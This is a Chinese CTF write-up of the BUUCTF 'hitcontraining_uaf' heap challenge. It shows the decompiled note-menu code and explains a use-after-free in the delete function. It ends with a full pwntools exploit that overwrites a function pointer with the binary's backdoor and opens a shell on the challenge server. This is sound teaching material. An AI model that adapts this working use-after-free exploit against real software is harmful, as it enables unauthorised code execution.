文章总结: 这篇文章详细分析了hitcontraining_uaf题目的解题过程,发现程序存在useafterfree漏洞,通过精心构造内存布局,将puts函数地址替换为magic函数地址,最终获取shell权限。文章提供了完整的漏洞分析和利用代码,是典型的CTF二进制漏洞利用案例。
综合评分: 91
文章分类: CTF,二进制安全,漏洞分析,漏洞POC
Buuctf刷题记录-hitcontraining_uaf
G0t1T
看雪学苑
2025年12月8日 18:05
上海
1.看保护
是32位程序,Partial RELRO表明可以劫持got表,没有开canary和pie,开了NX栈不可执行。
#
2.看源码
main函数
可以看出是典型的菜单题,打印menu,根据选项调用add_note,del_note,print_note和exit函数。
int __cdecl __noreturn main(int argc, constchar **argv, constchar **envp){
int v3; // eax
char buf[4]; // [esp+0h] [ebp-Ch] BYREF
int *p_argc; // [esp+4h] [ebp-8h]
p_argc = &argc;
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 4u);
v3 = atoi(buf);
if ( v3 != 2 )
break;
del_note();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
print_note();
}
else
{
if ( v3 == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
add_note();
}
}
}
menu函数
跟main函数看到的流程差不多,有add,delete,print三个功能
intmenu(){
puts("----------------------");
puts(" HackNote ");
puts("----------------------");
puts(" 1. Add note ");
puts(" 2. Delete note ");
puts(" 3. Print note ");
puts(" 4. Exit ");
puts("----------------------");
return printf("Your choice :");
}
add_note函数
可以看出notelist添加的的上限是6个,之后首先malloc一个0x8大小的chunk(记为chunk_note)存入notelist数组,接着**((_DWORD **)¬elist + i) = print_note_content;这里是将chunk_note数据部分的前0x4个字节存放puts函数的地址,chunk_note的后0x4个字节用来存放用户想要申请的chunk,这个chunk的大小是用户自定义的。
intadd_note(){
int result; // eax
int v1; // esi
char buf[8]; // [esp+0h] [ebp-18h] BYREF
size_t size; // [esp+8h] [ebp-10h]
int i; // [esp+Ch] [ebp-Ch]
result = count;
if ( count > 5 )
return puts("Full");
for ( i = 0; i <= 4; ++i )
{
result = *((_DWORD *)¬elist + i);
if ( !result )
{
*((_DWORD *)¬elist + i) = malloc(8u);
if ( !*((_DWORD *)¬elist + i) )
{
puts("Alloca Error");
exit(-1);
}
**((_DWORD **)¬elist + i) = print_note_content;
printf("Note size :");
read(0, buf, 8u);
size = atoi(buf);
v1 = *((_DWORD *)¬elist + i);
*(_DWORD *)(v1 + 4) = malloc(size);
if ( !*(_DWORD *)(*((_DWORD *)¬elist + i) + 4) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *(void **)(*((_DWORD *)¬elist + i) + 4), size);
puts("Success !");
return ++count;
}
}
return result;
}
notelist运行一次add_note的情况如下图
delete_note函数
可以看到该函数在free两个chunk时,没有将对应值置为null,这会导致uaf即use after free
intdel_note(){
int result; // eax
char buf[4]; // [esp+8h] [ebp-10h] BYREF
int v2; // [esp+Ch] [ebp-Ch]
printf("Index :");
read(0, buf, 4u);
v2 = atoi(buf);
if ( v2 < 0 || v2 >= count )
{
puts("Out of bound!");
_exit(0);
}
result = *((_DWORD *)¬elist + v2);
if ( result )
{
free(*(void **)(*((_DWORD *)¬elist + v2) + 4));
free(*((void **)¬elist + v2));
return puts("Success");
}
return result;
}
print_note函数
从前面可以知道每调用一次add_note函数,就会产生两个chunk,记为chunk0,chunk1,chunk1的size可以自定义,print_note函数就是用chunk0的前0x4个字节puts函数来打印chunk1的数据部分。
intprint_note(){
int result; // eax
char buf[4]; // [esp+8h] [ebp-10h] BYREF
int v2; // [esp+Ch] [ebp-Ch]
printf("Index :");
read(0, buf, 4u);
v2 = atoi(buf);
if ( v2 < 0 || v2 >= count )
{
puts("Out of bound!");
_exit(0);
}
result = *((_DWORD *)¬elist + v2);
if ( result )
return (**((int (__cdecl ***)(_DWORD))¬elist + v2))(*((_DWORD *)¬elist + v2));
return result;
}
magic函数
程序还给了一个后门函数,只要我们能够成功调用这个函数就行了。
int magic()
{
return system("/bin/sh");
}
#
3.利用思路
利用uaf将chunk1的前0x4个字节存放的puts函数的地址修改为magic函数的地址,使得在执行print_note功能时,却是调用magic函数。
add(0x8,b'aaa')
add(0x8,b'aaa')
add(0x18,b'aaa')
我们可以先调用三个add_note,设置chunk1的size分别为0x8,0x8,0x16
delete(1)
delete(2)
之后free第1和第2个note,我用notelisst[下标].chunk0|1来表示每个chunk,此时fastbin中数据部分只有0x8大小的链表是fastbin -> notelist[2].chunk0 -> nostlist[1].chunk0 -> notelist[1].chunk1
数据部分0x16大小的fastbin -> notelist[2].chunk1
payload = p32(magic)
add(0x8,payload)
print(1)
再接着调用add_note就可以使得分配得到的notelist[3].chunk1和notelist[1].chunk0是一致的,因此我们也就能修改notelist[1].chunk0,也就将puts_addr改成magic的地址,接着执行print_note函数,最终执行magic函数,拿到shell。
最后大概是这样子:
#
4.EXP
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./hacknote')
#gdb.attach(io,"b *0x08048A75")
elf = ELF("./hacknote")
io=remote("node5.buuoj.cn",25034)
def add(size,payload):
io.recvuntil(b"Your choice :")
io.send(b'1')
io.recvuntil(b"Note size :")
io.send(str(size).encode())
io.recvuntil(b"Content :")
io.send(payload)
def delete(index):
io.recvuntil(b"Your choice :")
io.send(b'2')
io.recvuntil(b"Index :")
io.send(str(index).encode())
def print(index):
io.recvuntil(b"Your choice :")
io.send(b'3')
io.recvuntil(b"Index :")
io.send(str(index).encode())
magic = elf.symbols["magic"]
add(0x8,b'aaa')
add(0x8,b'aaa')
add(0x18,b'aaa')
delete(1)
delete(2)
payload = p32(magic)
add(0x8,payload)
print(1)
io.interactive()
#
#
#
看雪ID:G0t1T
https://bbs.kanxue.com/user-home-1002337.htm
*本文为看雪论坛优秀文章,由 G0t1T 原创,转载请注明来自看雪社区
往期推荐
球分享
球点赞
球在看
点击阅读原文查看更多
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:看雪学苑 G0t1T《Buuctf刷题记录-hitcontraining_uaf》